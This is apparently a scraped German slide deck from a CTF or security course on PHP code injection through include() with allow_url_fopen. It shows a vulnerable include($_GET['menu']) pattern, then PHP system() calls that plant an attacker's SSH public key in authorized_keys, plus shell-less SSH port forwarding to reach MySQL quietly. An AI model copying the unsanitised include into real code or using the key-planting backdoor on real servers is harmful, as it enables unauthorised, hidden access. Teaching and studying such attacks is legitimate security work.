Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen.

Slides:



Advertisements
Ähnliche Präsentationen
Warum WordPress Sicherung?
Advertisements

Be.as WEB Technologie
Dynamische Seiten mit Dreamweaver Zugriff auf (mysql) Datenbank mit PHP.
für das Schulnetz der BS Roth
DI Christian Donner cd (at) donners.com
MySQL.
Windows auf öffentlichen PCs
Seite 1Maria, Philipp, Herbert Seite 1 Fitnessplaner Ziele: >Fitnessplaner für Onlinebetrieb >Registrierung >individuelle Trainingsplanerstellung.
Write two sentences about each person based on the information given.
1 NetWork File System © April 2002, G. Hellberg Network File System Konfiguration und Einsatz.
Oracle PL/SQL Server Pages (PSP). © Prof. T. Kudraß, HTWK Leipzig Grundidee: PSP – Internet-Seiten mit dynamischer Präsentation von Inhalten durch Einsatz.
Werkzeuge und Softwareumgebung von Christian Michele.
Präsentation zum Seminarprojekt Statistik mit R Name WS 2011/12.
Präsentation zum Seminarprojekt Korpuslinguistik Name WS 2011/12.
Einführung MySQL mit PHP
Tipps zur besseren Sicherheit 1.WEP (Wired equivalent Protection); 128 Bit 2.Änderung der voreingestellten SSID(ServiceSetIdentifier) 3.SSID soll nicht.
Seite Common Gateway Interface. Konzepte. Übersicht 1Einleitung 2Was ist CGI? 3Wozu wird CGI verwendet? 4Geschichtlicher Überblick 5Grundvoraussetzungen.
Herbert Mackert RRZE ssh client. Herbert Mackert secure shell client Gliederung Was ist ssh ? Entstehung von ssh Plattform unabhängig.
Virtual Private Networks
Die Game-Feature-Plattform Der schrittweise Verkauf von Games über das Internet Internet Technologies AG Ilmenau PKI-Workshop bei SIT-Fraunhofer,
VPN Virtual Private Network
Welche Funktion hat die php.ini? -Beinhaltet wichtige Einstellungen für PHP. Genannt seien hier u.a. der Speicherort von Cookies, Parameter der Kompilierung,
Generelles POVs müssen immer lizenziert werden
SQL PHP und MySQL Referat von Katharina Stracke und Carina Berning
Grundlagen der sicheren PHP Programmierung Parametermanipulationen und Injektionslücken Stefan Esser Hardened-PHP Project.
Applets Java für’s Web.
Don`t make me think! A Common Sense Approach to Web Usability
1 Sg 3 – JSP - Java Server Pages Softwareengineering Praktikum Java Server Pages Nicole Brandstätter Josef Sturm Karl Streicher.
Alex Büchner Das Moodle CLI Command Line Interface.
Projektarbeit PHP 5.3 / MySQL & Content Management Systems
Systemaufbau / Komponenten
Centre for Public Administration Research E-Government for European Cities Thomas Prorok
Client Server Modell Universität zu Köln
Philipp Jeschke | Mai 2007 OpenVPN / Zertifikate.
Developer Day Office APPs entwicklen Simon Amrein Trivadis AG Die ersten Schritte in eine neue Office-Welt.
Folgendes kann missbraucht werden: formulare unverschlüsselte login-informationen ungeschützte includes SQL-injection reto ambühler
Absicherung eines produktiven Webservers und Entdeckung von Angreifern
Webseiten mit PHP, SQL, XML und Webservices Anhand praktischer Beispiele.
1 (C)2006, Hermann Knoll, HTW Chur, FHO teKRY407 Geheimhaltung, Authentikation, Anonymität Protokolle: Übersicht Referat Santos: Hash-Funktionen.
Hacking InfoPoint Jörg Wüthrich Infopoint - Hacking - Jörg Wüthrich 2/26 Inhalte Rund um das Thema Hacking Angriffs-Techniken Session.
Mag. Andreas Starzer weloveIT – EDV Dienstleistungen
Aufzeichnung von Usability-Daten im www. Client-Side Log : automatisch (maschinell) generiertes Protokoll Client : Rechner mit dem Browser des Users Server:
Netzwerke.
Verschlüsselung Von Daniel Dohr.
Registrar-Seminar Registrarprotokoll PGP – digitale Signaturen Nameserver EPP Mark Hofstetter Januar 2007.
Willkommen zum Brückensemester
HEX-code für die Farbe weiß: #FFFFFF Änderung von Inhalt & Darstellung Inhalt & Darstellung HTML Javascript CSS.
Installation, Konfiguration, Online stellen, Zugriff © by Lars Koschinski 2003.
Präsentiert von Riccardo Fuda.  Klassische (symmetrische) Kryptographie  Der weg zur modernen Kryptographie  Message Authentification Codes  Asymmetrische.
Walter Langmann Sichere Authentifizierung von W-LAN in einer Windows 2003 Server Umgebung 5AIH Diplomarbeit im Fach Technische Informatik.
1 Bauhaus-Universität Weimar ArchitekturProgrammierung Generative Entwurfsmethoden Processing Grundlagen Professur Informatik in der Architektur.
Quelle: xkcd.com SQL Injections.
TypoScript.
Stephanie Müller, Rechtswissenschaftliches Institut, Universität Zürich, Rämistrasse 74/17, 8001 Zürich, Criminal liability.
Geschichte - Entstehung - Was ist PHP? Einordnung - Allgemeines
Java Server Pages Technologie zur Erzeugung dynamischer Webseiten basierend auf Java-Servlets Blockseminar Wintersemester 2001/2002Jochen Pfeiffer Seite.
Trigger-abhängige Client Interaktionen (bezüglich Oracle8i)
Content Managment System (CMS)
KLIMA SUCHT SCHUTZ EINE KAMPAGNE GEFÖRDERT VOM BUNDESUMWELTMINISTERIUM Co2 online.
Remoting DEVOP PART II: WINDOWS POWERSHELL. Remoting  Ermöglicht es, alle CMDlets auch per Remote auf einem anderen Server auszuführen  Dafür gibt es.
1Crypto AG / P_M_HC-2650-Course-Notes-d_0833_rd.PPT Training and Education HC-2650 Kursunterlagen.
LINUX II Unit Remote Zugriff via SSH.
Drupal Installation Versionen 7.43 & Allgemein (bei beiden Versionen) Xampp Control- Panel öffnen Server starten, sonst kein Zugriff auf localhost.
Netzwerk - Programmierung
• Projektdialog paralleler Plagiatschutz- projekte
RSA public key encryption
Dreamweaver-Grundkurs
Referent: Rüdiger Grobe
Tutorstunde 10.
 Präsentation transkript:

Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen

Grundlagen PHP Methoden Code dynamisch zu laden Include() und require() sowie deren Pendants include_once() sowie require_once() eval() Hier konzentrieren wir uns auf include() und require(), da gebräuchlicher.

include und require Grob: Mittels include und require kann eine Datei geladen werden vars.php <?php $color = 'green'; $fruit = 'apple'; ?> test.php <?php echo "A $color $fruit"; // A include 'vars.php'; echo "A $color $fruit"; // A green apple ?>

Einfache Programmierung? PHP ermöglicht es den Programmierer, leicht Dateien über verschiedene Protokolle zu öffnen – Beispiel: <?php $file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w"); if (!$file) { echo " Unable to open remote file for writing.\n"; exit; } /* Write the data here. */ fwrite ($file, "My Data". "\n"); fclose ($file); ?>

Teufelswerk allow_url_fopen allow_url_fopen erlaubt das Öffnen von Dateien mittels einer URL. Gilt nicht nur für File-Funktionen wie fopen, sondern auch für include(), require() usw. Ist per Default angeschaltet!

Code-Beispiel aus einem früheren CTF myfuncs.php <?php function myheader($title) { $menu = $_GET["menu"]; // [..] include($menu); // [..] } // [..] ?> Mit dem HTTP-Parameter menu wird angegeben welches Menü geladen werden soll: test.php <?php include(myfuncs.php); // [..] myheader(test); // [..] ?>

Ausnutzung der Lücke

Abschluß Code-Injection Fragen?

Warum Einbau eines SSH-Public Keys Public Key Authentifikation – unabhängig vom User-Passwort in /etc/shadow SSH erlaubt Logins ohne Shell (z.B. nur Portforwarding) – normalerweise taucht eine Session auf: who user1 pts/1 Apr 26 10:18 (pd dip0.t-ipconnect.de) jtb pts/5 Apr 26 11:33 (x337.vpn.hrz.tu-darmstadt.de)

SSH-Verbindung ohne Shell Beispielaufruf von SSH: ssh -T -i private.key –L 3306:localhost:3306 -T Disable pseudo-tty allocation. -i identity_file Selects a file from which the identity (private key) for RSA or DSA authentication is read. -L port:host:hostport Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side.

Verbindungsdiagramm Angriffsrechner Opfer Direkte MySQL- Verbindungen nicht möglich Aber direkte SSH- Verbindung ist möglich! SSH MySQL Diese Verbindung kommt von localhost

SSH Public Key Erstellen mit ssh-keygen: ssh-keygen –t rsa So sieht der private Schlüssel aus: -----BEGIN RSA PRIVATE KEY----- MII [..] -----END RSA PRIVATE KEY----- Public Key wird hochgeladen, private Key bleibt bei euch! ~/.ssh>cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgFZ4xz8EnOZ9x8TpMGV9kY BohRbG+QzW3UGfSV2AynOjUxlaABatDGnCskthsm60RWSkZns7m4O y2Loyu0XXQzLXIebkfy7cYtrFmKrAKxF6zifDBxL7bsJ0XPujYzRJ 7JSCyuQ+lrldY7NseI/PbfoIhwXYIa6RRrRcxWN6VXgdGIVq9xTjg aBVHRutOmttJVKtaiejJG0I9ZAjpTsGwyKkppzxXfDFgRfzxJozQS KLZOdKRVjoqxL1vc7p0GD0aOfSkWpQIGWyO6ziwy41CUFpAdE9uZB 6F9abCxZkzWdz08w2K5ONlLgCyBVb/hlDgPS9PZaBjXe3qvMrm9R8 J

PHP-Code für den Einbau Beispielhaft mit system-Calls: <?php system(mkdir ~/.ssh); system(echo ssh-rsa [KEY] > ~/.ssh/authorized_keys); ?>